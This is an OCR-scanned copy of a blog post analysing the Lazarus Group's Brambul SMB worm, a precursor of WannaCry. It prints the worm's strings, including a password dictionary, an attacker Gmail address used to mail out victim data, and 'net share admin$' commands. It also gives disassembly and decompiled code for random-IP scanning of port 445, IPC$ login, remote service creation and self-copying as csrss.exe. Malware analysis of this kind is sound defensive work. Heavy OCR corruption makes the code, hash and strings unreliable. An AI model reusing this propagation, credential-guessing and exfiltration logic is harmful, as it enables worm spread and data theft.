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Relationship with WannaCry and Brambul

WannaCry is a ransomware of the North Korean Lazarus Group that hit the pandemic in May 2017. Attackers
earned about $ 150,000 through this ransomware, and the damage from the attack is estimated at about billions of
dollars. One of the features of WannaCry is that it replicates itself and distributes it to an accessible network,

similar to a worm, and is distributed primarily through SMB vulnerabilities and email.

Prior to WannaCry, the Lazarus group deployed a worm that behaved in a similar way, one of which is the worm

named Brambul. WannaCry is a mutation of the ransomware form of this worm called Brambul.
=%

1

Edit from Intezer tech report

Brambul was created in 2009 and began to be distributed. After 10 years, it’s not dangerous compared to other

malware, but it can still harm computers with vulnerable versions and settings.

Analysis

MDS5 : £0241f4176f0036f97ebc95decfd1d5e

Running the file does not seem to have any effect on your screen. There is no packing or obfuscation, so it is easy

to analyze. Thanks to this, you can roughly predict behavior with just the strings contained within the file.

Strings in file
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File pos | Mem pos | 1D | Test

A 000000007CEE  00OOOD407CEE 0 _strupr

A 0000000021ED  0000004087E0Q 0 amail-zmtp-in.|. google.cam

A 0000000081FC 0000004081FC 0 johinS 203@pahoo. com

A 000000002210 000000403210 1] google.com

A 00000000821C 00000040821C 0 wihiat1 007 Egmail com

A 000000008230 000000408230 a maill234

A 00000000823C  00000040823C 0 maill 23

A 000000002244 000000405244 a maill

A 00000000824C  00000040824C 0 web1234

A 000000008254 000000405254 a web123

A 000000002270 000000403270 1] ~hEHEE

A 000000008277 000000408277 a L+

A 000000008280 000000408280 a @

A 00000000828C  00000040828C 0 L= 34

A 000000008292 000000408298 a IEH%

A 000000002244 000000408244 0 [lei:= ¥4

A 0000000082aC  00000040824C 0 [l ¥

A 000000Qo2z2e4  00OOOO4022B4 O nn

A 0000000082CC  0000004082CC 0 543241

A 000000008204 000000408204 0 1234567

A 00000000820C  00000040820C 0 12345

A 0000000082F4  00O0004032F 4 a asdfgh

A 0000000082FC 0000004082FC 0 asdfg

A 00000000830C  00000040830C 0 BUMELE

A 000000002314 000000403374 1] angel

A 00000000831C  00000040831C 0 pazzwd

A 000000002334 000000403334 1] |EHE%

A 00000000833C  00000040833C 0 admin

A 000000002344 000000408344 a test] 234

A 000000008358 000000408358 a E54321

A 000000008360 000000403360 a 123456

A 00000000236C  00000040836C 0 pazzward

A 000000008378 000000408378 a dbZadmin

A 000000002384 000000403394 1] administratar

A 000000008394 000000408394 a #d. %d 2d. Zdl

A 000000008384 000000408384 0 From: "Microsoft” <provider@microzoft com:
A 0000000083EC  0000004083EC 0 RCPT TO:<

A 0000000083F8  0000004083F8 a Mall FROM:<

A 000000002408 000000408408 a HELO <

A 000000008410 000000408410 a 209.85.223.33

A 000000002420 000000403420 1] 209.85.210.24

A 000000008430 000000408430 a 209.85.223.27

A 000000002440 000000403440 a Windows Update

A 000000002450 000000402450 0 SOFTWARE \MicrosoftWwindows\Curenfyersion\Run
A 000000002480 000000408480 a cmd.exe /o "het share cf /d”
A 000000008440 000000408440 u] cmd.exe /o ''net share adming A"
A 0000000024C8  0000004084CE 0 hlzasve.exe

A 000000002404 000000402404 0 RT_RCDATA

A 0000000084EQ  0000004084E00 0 wigudte

A 0000000024ES  0000004024E 2 0 Microsoft Windows Genuine Updater
A 00000000850C 000000408500 0 JSpstemP ootihcerss exe

A 000000008524 000000408524 a #shadminfhcarss.exe

A 000000008538 000000408538 a wglmgr

A 000000008540 000000408540 0 windows Genuine Logon Manager
A 000000008560 000000402560 u] cmd. exe Ao 'net share adming”
A 000000008580 000000408580 a Subject: Xsl¥alks

A 000000002594 000000403594 1] #shipcd

A 00000000859C  00000040859C 0 Zel@Hs

A 000000008548 000000408548 0 #:123

A 0000000085C4  0000004085C4 0 @kl

A 000000008508 000000408508 0 He¥a¥s

A 0000000085E4  0000004085E4 0 ApiBuffe

Based on the above information, you can infer emails, IP addresses, registry changes, shared folder access, and

related processes.

Start of behavior
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; int _ stdcall WinHain(HIWSTAHCE hInstance, HINSTAHCE hPreviInstance, LPSTR 1pCmdLine, int nShowCmd)
_WinHain@16 proc near

pcbBuffer= dword ptr -594h
Buffer= byte ptr -598h
WiAData= WiAData ptr -196h
hinstance= dword ptr 4
hPrevinstance= dword ptr 8
1pCmdLine= dword ptr BCh
nihowCmd= dword ptr 18h

sub esp, 594h

push ebx

push esi

lea eax, [esp+59Ch+WsAData]
push edi

push eax ; lpuWsAData
push 282h ; wlersionRequested
nov [esp+5A8h+pcbBuffer], 18%h
call WSAStartup

test eax, eax

jnz loc_ 482BES

sub_482418

L]
; nSize

push offset Filename ; 1lpFilename
push 5] ; hHodule
call ds :GetHoduleFileHamen
lea ecx, [esp+5ABh+pcbhbBuffer]
lea edx, [esp+5ABh+Buffer]
push BCX ; pcbBuffer
push edx ; lpBuffer
call ds:GetlUserNameR
lea eax, [esp+5ABh+Buffer]
push eax ; Str
call ds: strupr
push offset String2 ; "gmail.com”
call sub_4813D8
mou dword_489648, eax
add esp, 8
mov esi, offset asystem ; “SYSTEH"
lea eax, [esp+5ABh+Buffer]

Hex dump Di v Comment

8D5424 10  |LER EDX, DWORD PTR SS:[ESP+10]
s1 PUSH  ECX
52 PUSH  EDX B
FF1S 2470400( GAEEIDHORD| B8 DS: [SEADVADI32 . Catisey - C- rNameh
8D4424 10  |LER EAX, DWORD PTR SS:[ESP+10]
50 PUSH EAX [5 = "swan"
FF1S 3C71400(GALE | DHORD BTR DS: [SEMSVCRT. strupesil_strupr
€8 SCB8€4000 |PUSH smb-7teu.00402€SC ASCII "gmail.com™
E8 RIECFFFF |CALL smb-Tteu.004013D0
A3 40964000 [MOV DWORD PTR DS:[409€40], EAX
83C4 08 ADD ESP, 8
BE 948€4000 |MOV ESI, smb-7teu.00408€54 ASCII "SYSTEM"
8D4424 10 LEA EAX¥, DWORD PTR SS: [ESP+10]
B8Al0 MoV DL, BYTE PTR DS: [EAX]
BALE MOV BL, BYTE PTR DS: [ESI]
BACR MoV CL, DL
32D3 =% DL, BL
75 1E JNZ SHORT smb-T7teu.004027&8
84C3 TEST  CL, CL
74 16 IE SHORT smb-7teu.00402764
8250 01 MOV DL, BYTE PTR DS:[EAX+1]
8ASE 01 MOV BL, BYTEZ PTR DS:[ESI+l]
SACR MOV CL, DL
cup DL, BL
mz SHORT smb-7teu.00402768
20D EAX, 2
20D ESI, 2
TEST  CL, CL
75 DC Lawz SHORT smb-7teu.00402740
33C0 XOR EAX, EAX
B 05 e SHORT smb-7teu.004027€D
18C0 sBB EAX, EAX
83D8 FF seB EAX, -1
85C0 TEST  EAX, EBX
0F85 4001000{JNZ sxb-7teu.004028B5

E8 26F4FFFF |CALL smb-7teu. 00401BA0
E3 BIF3FFFF |GALL smb-7teu.00401B30
E8 BCESFFFF |GALL smb-Tteu. 00401040

EAX=0015F553, (ASCII "swan")

When the program starts up, it calls the WSAStartup function to check if a network connection is available. Get
the user’s name (the name of the PC). For my PC, I got the value “swan”. Then push the string “gmail.com” onto

the stack and call dnsquery as follows:
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After that, the user’s name is verified as “System”, and the behavior is divided into two routine to the result.

if ( tWsAStartup{Bx202u, &VSAData) && sub 4B2418{) )
1
GetHoduleFileHamea{®, {(LPSTR)}&Filename, B8x184u);
GetUserHameA{&Buffer, &pcbBuffer);
strupr{&Buffer);

=ﬂhhmu.mu.u.uﬁ';
if { t*strcmp(&Buffer, aSystem) )}
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eax, eax
loc_4828B5
i
i o ]
call sub_4@1BAB@
loc_4028B5: call sub_481B38
mou edi, ds: beginthreadex||call sub_ 4610840
mov esi, ds:Sleep nov edi, offset aSubject ; “Subject:z *
mov ebx, 1086h or ecx, OFFFFFFFFh
Xor eax, eax
lea edx, [esp+5ABh+Buffer]
repne scashb
not ecx
sub edi, ecx
mov eax, ecx
nov esi, edi
moy edi, edx
lea edx, [esp+5ABh+Buffer]
shr ecy, 2
rep mousd
nov ecx, eax
Xor eax, eax
and ecx, 3
rep moush
mnov edi, offset Dest
or ecx, OFFFFFFFFh
repne scash
not ecx
sub edi, ecx
nov esi, edi
mou ebx, ecx
mov edi, edx
or ecx, OFFFFFFFFh
repne scash
mov ecx, ebx
dec edi
shy ecx, 2
rep mousd
nov ecx, ebx
and ecx, 3
rep movsh
call ds:GetUersion
nov [esp+5ABh+pcbBuffer], eax
and eax, OFFFFh
cnp eax, 6
jg short loc_482817
L T
L K ]
loc_u4B28C6:
i)
]
a
offset sub_LB82900
L}
a
edi ; _beginthreadex
esp, 18h
32h ; duMilliseconds
esi ; Sleep
ebx
short loc_uB2B8C6
— =7
[P [P
push OFFFFFFFFh ; duMilliseconds
call esi ; Sleep loc_402817:
cmp eax, 1085h
jz short loc_40283B
iy § o
IE] I
cmp eax, 2085h
loc_U4B2BES: jz short loc_4028380
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 594h
retn 18h
WinMain@16 endp

First routine
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In this case, we call the sub_402900 subroutine, which generates IP addresses randomly after a few

GetTickCounts. It will try to connect to 445 port (SMB port) with randomly generated IP.

¥
if (u2 <208 || v2 > 248 || v2 == 127 )

u? = 218;
ifF { vig )
{

uif = wia{) & B=FFF;

u21 = (u7 + uS{)) % B%FF;
h

i = vwia{) & O=FFF;

vl = {(ud + uS{)) % Bx%FF;

i@ val) & BXFFF;

vl1 = uh({);

sprintf{&Dbest, ab D D D B, v2, v21, vd, (vid + vil) % BxFF);
®{ DWORD =)&name.sa _data[2] = inet addr{&Dest};
name.sa_family = 2;

#{ WORD =)&name.sa data[8] = htons{8x1BDu);

v1? = socket{2, 1, 8);

v13d = vi2;
if ( vi2 == -1}
1
Sleep(188u});
’
else
{

ioctlsocket{uvi2, -2147195266, &argp);
writefds fd_array[8] = vi3;
writefds . fd_count = 1;
timeout.tv sec = 3;
timeout.tuv _usec = B;
Sleep(58Bu};
connect{vi1i, &name, 16);
if {( WSAGetLastError{) == 1883% )
1
vil = select{d, B8, &writefds, B8, &timeout);
closesocket{uiz);
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push offset aD D D D 8 ; "%d._%d_%d._ %d"

push eax s Dest

call ds:sprintf

add esp, 18h

lea ecx, [esp+Z248h+Dest]

push eCH : Cp

call inet addr

push L4% : hostshort

mov dword pty [esp+24Ch+name.sa data+2], eax
mou [esp+24Ch+name .sa_ family], 2

call htons

push 5 s protocol

push 1 - type

push 2 ; af

mouv word ptr [esp+254h+name.sa data], ax
call socket

mou esl, Pax

cmp esi, BFFFFFFFFh

jnz cshort loc 482A60

No. Time Source Destination Protocol  Length Info
524564 2818.600000 10.37.129.3 10.37.129.3 DNS 74 Standard query 0xd422 PTR 236.237.141.236.in-addr.arpa
524565 2818.600000 10.37.129.3 10.37.129.3 DNS 73 Standard query 0x1d9d PTR 223.216.89.234.in-addr.arpa
524566 2818.600000 10.37.129.3 10.37.129.3 DNS 74 Standard query 0x289a PTR 221.163.165.225.in-addr.arpa
524567 2818.600000 10.37.129.3 10.37.129.3 DNS 71 Standard query ©0x3f45 PTR 109.4.56.228.in-addr.arpa
524568 2818.600000 10.37.129.3 10.37.129.3 DNS 73 Standard query 0xa7f8 PTR 46.140.113.228.in-addr.arpa
524569 2818.600000 10.37.129.3 10.37.129.3 DNS 73 Standard query 0xfle@ PTR 106.95.112.230.in-addr.arpa
524570 2818.613000 10.37.129.3 10.37.129.3 DNS 72 Standard query 0x1091 PTR 23.220.58.225.in-addr.arpa
524571 2818.613000 10.37.129.3 10.37.129.3 DNS 73 Standard query 0x13bf PTR 109.99.225.237.in-addr.arpa
524572 2818.613000 10.37.129.3 10.37.129.3 DNS 71 Standard query Oxb60@1 PTR 39.49.87.228.in-addr.arpa
524573 2818.629000 10.37.129.3 10.37.129.3 DNS 72 Standard query ©xa3ed PTR 63.33.222.235.in-addr.arpa
524574 2818.629000 10.37.129.3 10.37.129.3 DNS 73 Standard query Oxb2ca PTR 250.149.65.231.in-addr.arpa
524575 2818.629000 10.37.129.3 10.37.129.3 DNS 72 Standard query 0x0167 PTR 26.193.242.50.in-addr.arpa
524576 2818.629000 10.37.129.3 10.37.129.3 DNS 73 Standard query 0x8f21 PTR 112.26.243.210.in-addr.arpa
524577 2818.629000 10.37.129.3 10.37.129.3 DNS 73 Standard query 0xf420 PTR 145.152.145.37.in-addr.arpa
524578 2818.629000 10.37.129.3 10.37.129.3 DNS 74 Standard query 0xde5f PTR 204.162.197.115.in-addr.arpa
524579 2818.629000 10.37.129.3 10.37.129.3 DNS 74 Standard query 0x9c2c PTR 111.197.223.187.in-addr.arpa
524580 2818.629000 10.37.129.3 10.37.129.3 72 Standard query ©xad35 PTR 247.185.98.71.in-addr.arpa
524581 2818.629000 10.37.129.3 10.37.129.3 DNS 73 Standard query 0x8787 PTR 219.207.44.135.in-addr.arpa
524582 2818.645000 10.37.129.3 10.37.129.3 DNS 74 Standard query 0x233f PTR 229.132.118.132.in-addr.arpa
524583 2818.645000 10.37.129.3 10.37.129.3 DNS 73 Standard query ©0x53ea PTR 213.194.254.82.in-addr.arpa
524584 2818.645000 10.37.129.3 10.37.129.3 DNS 72 Standard query ©xa32d PTR 222.192.87.26.in-addr.arpa
524585 2818.645000 10.37.129.3 10.37.129.3 DNS 72 Standard query response ©xb9dc PTR 147.15.54.230.in-addr.arpa
524586 2818.645000 10.37.129.3 10.37.129.3 DNS 71 Standard query response ©x35c6 PTR 45.72.83.225.in-addr.arpa
524587 2818.645000 10.37.129.3 10.37.129.3 DNS 73 Standard query response 0x54df PTR 167.139.79.224.in-addr.arpa
524588 2818.645000 10.37.129.3 10.37.129.3 DNS 72 Standard query response ©xd9e2 PTR 56.68.196.234.in-addr.arpa
524589 2818.645000 10.37.129.3 10.37.129.3 DNS 74 Standard query response 0x4f38 PTR 160.102.175.235.in-addr.arpa
524590 2818.660000 10.37.129.3 10.37.129.3 DNS 73 Standard query response ©xc76a PTR 181.16.138.234.in-addr.arpa
524591 2818.660000 10.37.129.3 10.37.129.3 DNS 71 Standard query response ©Oxf4e7 PTR 79.114.5.233.in-addr.arpa
524592 2818.660000 10.37.129.3 10.37.129.3 DNS 73 Standard query response 0x4025 PTR 39.197.230.227.in-addr.arpa
524593 2818.660000 10.37.129.3 10.37.129.3 DNS 74 Standard query response ©xd422 PTR 236.237.141.236.in-addr.arpa
524594 2818.660000 10.37.129.3 10.37.129.3 DNS 73 Standard query response 0x1d9d PTR 223.216.89.234.in-addr.arpa
524595 2818.660000 10.37.129.3 10.37.129.3 DNS 74 Standard query response ©x289a PTR 221.163.165.225.in-addr.arpa
524596 2818.660000 10.37.129.3 10.37.129.3 DNS 71 Standard query response 0x3f45 PTR 109.4.56.228.in-addr.arpa
524597 2818.660000 10.37.129.3 10.37.129.3 DNS 73 Standard query response ©xa7f8 PTR 46.140.113.228.in-addr.arpa
524598 2818.660000 10.37.129.3 10.37.129.3 DNS 73 Standard query response Oxfle@ PTR 106.95.112.230.in-addr.arpa
524599 2818.660000 10.37.129.3 10.37.129.3 DNS 72 Standard query response 0x1091 PTR 23.220.58.225.in-addr.arpa
524600 2818.660000 10.37.129.3 10.37.129.3 DNS 73 Standard query response ©x13bf PTR 109.99.225.237.in-addr.arpa

Page 7 of 11




https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1

If the connection to the SMB port is successful, the connection to the IPC is attempted.

push offset aSIpc ; "%s\ipeds

push ecx ; Dest
call ds:sprintf

add esp, BCh

lea eax, [esp+5ECh+var_5D8]
lea edx, [esp+SECh+Dest]

moy [esp+SECh+war 5CA], edi
push edi ; _DMORD

push offset unk_u4B964C ; _DWORD
push offset unk_u4B964C ; _DWORD

push eax ; _DWORD
mou [esp+SFCh+var_5B4], edi
mouy [esp+S5FCh+var 5CC], edi
moy [esp+5FCh+var SBC], edx
call dword_48%234
test eax, eax
jz short loc_4@22E2
v v
W=
1 ; _DUWORD
ecx, [esp+5FBh+Dest] loc_4822E2:
edi ; _DWORD push ebx
ecx 5 _DWORD lea edx, [esp+SFBh+var_5D4]
dword_u4egcza push esi
edi lea eax, [esp+SFhh+var_5D8]
ebp push edx 5 _DWORD
esp, SE4h lea ecx, [esp+5F8h+var_GEA]
push eax 5 _DUWORD
push ecx ; _DUWORD
lea edx, [esp+6@Bh+var_SE4]
push BFFFFFFFFh ; _DUWORD
push edx ; _DWORD
push 2 ; _DUWORD
lea eax, [esp+6@Ch+WideCharStr]
push edi ; _DWORD
push eax ; _DWORD
call dword_489638
push 1 ; _DWORD
lea ecx, [esp+5F8h+Dest]
push edi ; _DUWORD
push ecx 5 _DWORD
mov ebx, eax
call dword_488C20
mou esi, [esp+SFah+var_SE4]
cmp ebx, edi
jz loc_4823B3
e
cmp ebx, BEAh
jz loc_ 482383

If the connection to IPC succeeds, the administrator account accesses the SCM database and performs malicious

actions.
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u4 = OpenSCHanagerA{lpHachineName, @, 2u};
if ( uia )
{
CloseServiceHandle(vd);
sprintf{&u1k, aSubject$SS, lpHachineMame + 2, ai, a2);
sub_481438{&v14, aWhiat1881_gmai);
if { sub_u4@19FB8{lpHachineHame, ServiceMame, DisplayMame, BinaryPathNHame)} }

sub_ 4B1A78(1pHachineHame, ServiceHame};
Sleep{Bx3E8u);
sub_481ADA{lpHachinedame, ServiceHame);

sprintf{&HewFileMame, aSAdminCsrss_ex, lpHachineHame);
if { CopyFileA{{LPCSTR)&Filename, &HewFileHame, B)
&& sub_4@19FB8{1lpHachineHame, aWgudtr, aMicrosoftWindo, aSystemrootCsrs) )
{
sub_461a78{1pHachineHame, allgudtr};
Sleep{Bx3E8Bu);
sub_ 481ADB{1pHachineHame, allgudtr);
H
vt = 13
H
else
{
vt = @8;
if { tstremp{{const char =)al, afdministrator) && *strcmp{{const char =)a2, afdministrator}
us = 1;
dword_488C28(&Dest, @8, 1);
H
H
dword_488C20(&Dest, @, 1);
return us;
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push ecx
lea edx, [esp+678h+var 460]
push offset aSubjectSsS ; "Subject: %s|%s|%swrin”
push edx ; Dest
call ebp ; sprintf
lea eax, [esp+68Bh+var_L4B0]
push offset aWhiat1@@1@gmai ; "whiati861E@gmail . com"
push eax
call sub_ 481438
push offset BinaryPathMame ; “cmd.exe /c “'net share admin$y™
push offset DisplayHame ; "Windows Genuine Logon Managep"
push offset ServiceHame ; "wglmgr"
push esi ; lpHachineHame
call sub_4819F8
mou edi, ds:Sleep
add esp, 2Ch
test eax, eax
jz short loc_A481FAB
¥ 11
[ i =
push offset ServiceHame ; “wglmgr™
push esi ; lpHachineHame
call sub_481a7@
add esp, 8
push 3E8h ; duMilliseconds
call edi ; Sleep
push offset ServiceHame ; “wglmgr™
push esi ; lpHMachineHame
call sub_461aDa
add esp, 8
|
vy
=]
loc_4B81FAAB:
push esi
lea ecx, [esp+67@h+HewFileHame ]
push offset aSadminCsrss_ex ; "%syhadmin$iicsrss.exe”
push ecx ; Dest
call ebp ; sprintf
add esp, BCh
lea edx, [esp+a6Ch+HewFileHame]
push ] ; bFaillfExists
push edx ; lpHewFileHame
push offset Filename ; lpExistingFileMame
call ds :CopyFilef
test eax, eax
jz short loc_ 4820805
f 1
wtCsrs ; "%SystemBoot%\ycsrss._ exe™
FtWindo ; “Microsoft Windows Genuine Updater®
; “wgudtp”
; lpHachineHame

1. Send mail using the SMTP protocol to the specified subject at whiat1001@gmail.com
2. Access shared folder with admin

3. Create a Windows Genuine Logon Manager (wglmgr) Service

4. Create a Microsoft Windows Genuine Updater (wgudtr) Service

5. Generate crss.exe executable

These generated services and executables seem to cause the routine to self-replicate and propagate, after which the

first routine is terminated.
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(Continued on Part 2)
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Source: https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1
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